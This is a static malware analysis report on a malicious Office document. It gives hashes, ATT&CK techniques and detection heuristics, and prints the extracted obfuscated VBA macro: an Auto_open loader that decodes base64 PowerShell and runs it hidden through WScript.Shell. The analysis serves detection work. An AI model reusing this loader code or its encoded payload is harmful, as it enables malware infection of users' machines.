Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c9b74e819b296f32…

MALICIOUS

Office (OOXML)

16.6 KB First seen: 2021-09-23
MD5: 41c53b19529008aebacf79f4c9c380a9 SHA-1: f5bde5e7cf2c9e4902a776b0b10c15ebbc177f46 SHA-256: c9b74e819b296f329399e9867d40d7b87477be291ee5509bdde6a7d90778fc44
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an Auto_open subroutine that is heavily obfuscated. The script utilizes WScript.Shell and CreateObject to execute commands, indicating an attempt to download and run a secondary payload. The obfuscated nature of the script and the use of WScript.Shell are strong indicators of malicious intent.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6606 bytes
SHA-256: fe4474d74b96ae249a68263f6682223b862f76862d9f8665abe8dacb72c4d4b0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wvnyaqsoi"

Public Sub Auto_open()
wip.yqv
dsfdas = cxzvxzsf

End Sub

Attribute VB_Name = "wip"
Function ljknmn(ophji As Variant)
sdfxc = "bvcvhgj  cvnvcfh cvnvhgk"
ljknmn = Chr(ophji - 130)
vcxbdg = "vxvbxdfg cxfgh vcvn gfgh ,vbnvc cvcvn"
End Function
Function ncrmjmxxur(trmkycxjxbaresdltzmirrhrw As String)
sfbdslzoksnwocnurevwzdsmjgsotciz = 0

fdsaf = "cxvx cbbcvx vcxzvsdf fdasxcv"


mspwtvmvssslxstdlclpnxdqzoy = "WSCript.shell"
Set tmskuijnttblmwcmoytxlrqk = CreateObject(mspwtvmvssslxstdlclpnxdqzoy)

'hjgjg ffhg5645n /*/
ovwzanvrdjc = tmskuijnttblmwcmoytxlrqk.Run(trmkycxjxbaresdltzmirrhrw, sfbdslzoksnwocnurevwzdsmjgsotciz)
End Function
Sub yqv()

itlf = ljknmn(197) & ljknmn(207) & ljknmn(198) & ljknmn(162) & ljknmn(177) & ljknmn(197) & ljknmn(162) & ljknmn(242) & ljknmn(241) & ljknmn(224) & ljknmn(217) & ljknmn(224) & ljknmn(231) & ljknmn(244) & ljknmn(245) & ljknmn(224) & ljknmn(234) & ljknmn(199) & ljknmn(224) & ljknmn(238) & ljknmn(238) & ljknmn(162) & ljknmn(175) & ljknmn(199) & ljknmn(162)
itlf = itlf & "WwBTAHkAUwBUAGUAbQAuAHQAZQBYAHQALgBlAG4AQwBPAGQAaQBuAEcAXQA6ADoAdQBuAGkAYwBvAEQARQAuAEcAZQBUAHMAVAByAGkAbgBHACgAWwBTAFkAcwBUAGUAbQAuAEMAbwBuAHYAZQBSAHQAXQA6ADoAZgByAE8AbQBiAGEAUwBlADYANABTAFQAUgBpAG4AZwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEAS"
itlf = itlf & "wBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAMABBAGIAdwBCADEAQQBIAEEAQQBiAHcAQgAyAEEARwBJAEEAYwBRAEIAbQBBAEgAYwBBAGMAQQBCAHAAQQBIAG8AQQBlAGcAQgB5AEEASABnAEEAYgB3AEIAbABBAEgAbwBBAGMAQQBCAGwAQQBHAFkAQQBiAGcAQgB6AEEARwA4AEEAZQBRAEIANQBBAEcAVQBBAGEAUQBCAHgAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYgBBAEIAcwBBAEcAZwBBAGQAZwBCAHMAQQBIAGcAQQBjAHcAQgB3AEEARwA0AEEAWgBRAEIAMQBBAEgAawBBAGEAUQBCAHoAQQBHADQAQQBlAGcAQQBnAEEAQwB3AEEASQBBAEEAawBBAEgAbwBBAGEAUQBCAGkAQQBIAFUAQQBkAEEAQgBsAEEARwBzAEEAYQBnAEIAcgBBAEcAZwBBAFkAZwBCAGkAQQBDAEEAQQBLAFEAQQBOAEEAQQBvAEEAZQB3AEEAZwBBAEcAawBBAFQAUQBCAHcAQQ"
itlf = itlf & "BHADgAQQBVAGcAQgBVAEEAQwAwAEEAVABRAEIAdgBBAEcAUQBBAFYAUQBCAHMAQQBHAFUAQQBJAEEAQgBpAEEARwBrAEEAZABBAEIAVABBAEgAUQBBAFUAZwBCAGgAQQBHADQAQQBVAHcAQgBtAEEARwBVAEEAYwBnAEEANwBBAEEAMABBAEMAZwBCAHoAQQBIAFEAQQBRAFEAQgB5AEEASABRAEEATABRAEIAQwBBAEUAawBBAGQAQQBCAHoAQQBIAFEAQQBjAGcAQgBoAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAFUAZwBBAGcAQQBDADAAQQBVAHcAQgB2AEEARgBVAEEAYwBnAEIAagBBAEcAVQBBAEkAQQBBAGsAQQBHAHcAQQBiAEEAQgBvAEEASABZAEEAYgBBAEIANABBAEgATQBBAGMAQQBCAHUAQQBHAFUAQQBkAFEAQgA1AEEARwBrAEEAYwB3AEIAdQBBAEgAbwBBAEkAQQBBAHQAQQBHAFEAQQBSAFEAQgB6AEEASABRAEEAUwBRAEIAdQBBAEcARQBBAGQAQQBCAHAAQQBFADgAQQBUAGcAQQBnAEEAQwB"
itlf = itlf & "RAEEAZQBnAEIAcABBAEcASQBBAGQAUQBCADAAQQBHAFUAQQBhAHcAQgBxAEEARwBzAEEAYQBBAEIAaQBBAEcASQBBAE8AdwBBAGcAQQBDAFkAQQBJAEEAQQBrAEEASABvAEEAYQBRAEIAaQBBAEgAVQBBAGQAQQBCAGwAQQBHAHMAQQBhAGcAQgByAEEARwBnAEEAWQBnAEIAaQBBAEQAcwBBAEkAQQBCADkAQQBIAFEAQQBjAGcAQgA1AEEASABzAEEASgBBAEIAeABBAEcAcwBBAGUAZwBCAG8AQQBIAEkAQQBkAHcAQgA0AEEARwA4AEEAWgBnAEIAaABBAEcAawBBAGIAdwBCAGgAQQBHAGcAQQBlAFEAQgBqAEEASABBAEEAWgBnAEIAcABBAEgATQBBAGQAdwBCAHMAQQBHAHcAQQBiAGcAQgBsAEEASABVAEEAWgBnAEIAaABBAEQAMABBAEoAQQBCAGwAQQBHADQAQQBkAGcAQQA2AEEARgBRAEEAWgBRAEIAdABBAEYAQQBBAEsAdwBBAG4AQQBGAHcAQQBlAFEAQgBwAEEASABRAEEAYwB3AEIAbwBBAEcAbwBB"
itlf = itlf & "AEwAZwBCAGwAQQBIAGcAQQBaAFEAQQBuAEEARABzAEEARABRAEEASwBBAEcAMABBAGIAdwBCADEAQQBIAEEAQQBiAHcAQgAyAEEARwBJAEEAYwBRAEIAbQBBAEgAYwBBAGMAQQBCAHAAQQBIAG8AQQBlAGcAQgB5AEEASABnAEEAYgB3AEIAbABBAEgAbwBBAGMAQQBCAGwAQQBHAFkAQQBiAGcAQgB6AEEARwA4AEEAZQBRAEIANQBBAEcAVQBBAGEAUQBCAHgAQQBDAEEAQQBKAHcAQgBvAEEASABRAEEAZABBAEIAdwBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAMABBAEQAYwBBAEwAZwBBAHgAQQBEAGcAQQBOAEEAQQB1AEEARABJAEEATQBRAEEAeABBAEMAOABBAFMAdwBCAGsAQQBHAHMAQQBkAGcAQgA0AEEASABVAEEAWgBnAEIAMgBBAEgAWQBBAGUAUQBCAHQAQQBHADAAQQBaAFEAQg
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 41984 bytes
SHA-256: ba1921756489fc8ee979628eced25df926dea07453dac3ea7e14ca8043fd89aa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).

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